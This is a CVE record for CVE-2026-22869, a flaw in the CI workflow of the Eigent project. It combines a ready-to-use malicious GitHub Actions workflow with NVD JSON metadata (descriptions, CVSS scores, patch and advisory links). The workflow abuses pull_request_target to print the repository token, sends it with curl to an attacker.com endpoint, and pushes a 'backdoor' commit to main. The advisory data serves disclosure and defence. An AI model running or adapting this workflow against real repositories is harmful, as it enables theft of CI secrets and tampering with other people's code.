CVE-2026-22869

# Malicious workflow to exploit CVE-2026-22869 # Save this as .github/workflows/malicious.yml in a fork PR name: Malicious CI on: pull_request_target: types: [opened, synchronize, reopened] jobs: exploit: runs-on: ubuntu-latest steps: # Checkout the PR code (runs in privileged context) - name: Checkout malicious PR uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.ref }} repository: ${{ github.event.pull_request.head.repo.full_name }} # Exfiltrate secrets and tokens - name: Steal credentials run: | echo "GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}" echo "Event Name: ${{ github.event_name }}" echo "Event Path: ${{ github.event_path }}" cat $GITHUB_ENV # Send to attacker controlled server curl -X POST https://attacker.com/exfil -d "token=${{ secrets.GITHUB_TOKEN }}" # Push malicious code to main branch - name: Push backdoor run: | git config user.name "malicious" git config user.email "[email protected]" echo "malicious_code()" >> main.py git add -A git commit -m "Add backdoor" git push https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/${{ github.repository }}.git HEAD:main

{"cve": {"id": "CVE-2026-22869", "sourceIdentifier": "[email protected]", "published": "2026-01-13T21:15:54.917", "lastModified": "2026-01-29T17:52:40.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Eigent is a multi-agent Workforce. A critical security vulnerability in the CI workflow (.github/workflows/ci.yml) allows arbitrary code execution from fork pull requests with repository write permissions. The vulnerable workflow uses pull_request_target trigger combined with checkout of untrusted PR code. An attacker can exploit this to steal credentials, post comments, push code, or create releases."}, {"lang": "es", "value": "Eigent es una fuerza de trabajo multiagente. Una vulnerabilidad de seguridad crítica en el flujo de trabajo de CI (.github/workflows/ci.yml) permite la ejecución de código arbitrario desde solicitudes de extracción de bifurcación con permisos de escritura en el repositorio. El flujo de trabajo vulnerable utiliza el disparador pull_request_target combinado con la extracción de código de PR no confiable. Un atacante puede explotar esto para robar credenciales, publicar comentarios, enviar código o crear lanzamientos."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eigent:eigent:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.0.78", "matchCriteriaId": "5D3C2A71-EA14-4494-ADBB-33F96AA8F0FC"}]}]}], "references": [{"url": "https://github.com/eigent-ai/eigent/commit/bf02500bbbab0f01cd0ed8e6dc21fe5683d6bfb5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/eigent-ai/eigent/pull/836", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit", "Third Party Advisory"]}, {"url": "https://github.com/eigent-ai/eigent/pull/837", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit", "Patch"]}, {"url": "https://github.com/eigent-ai/eigent/security/advisories/GHSA-gvh4-93cq-5xxp", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}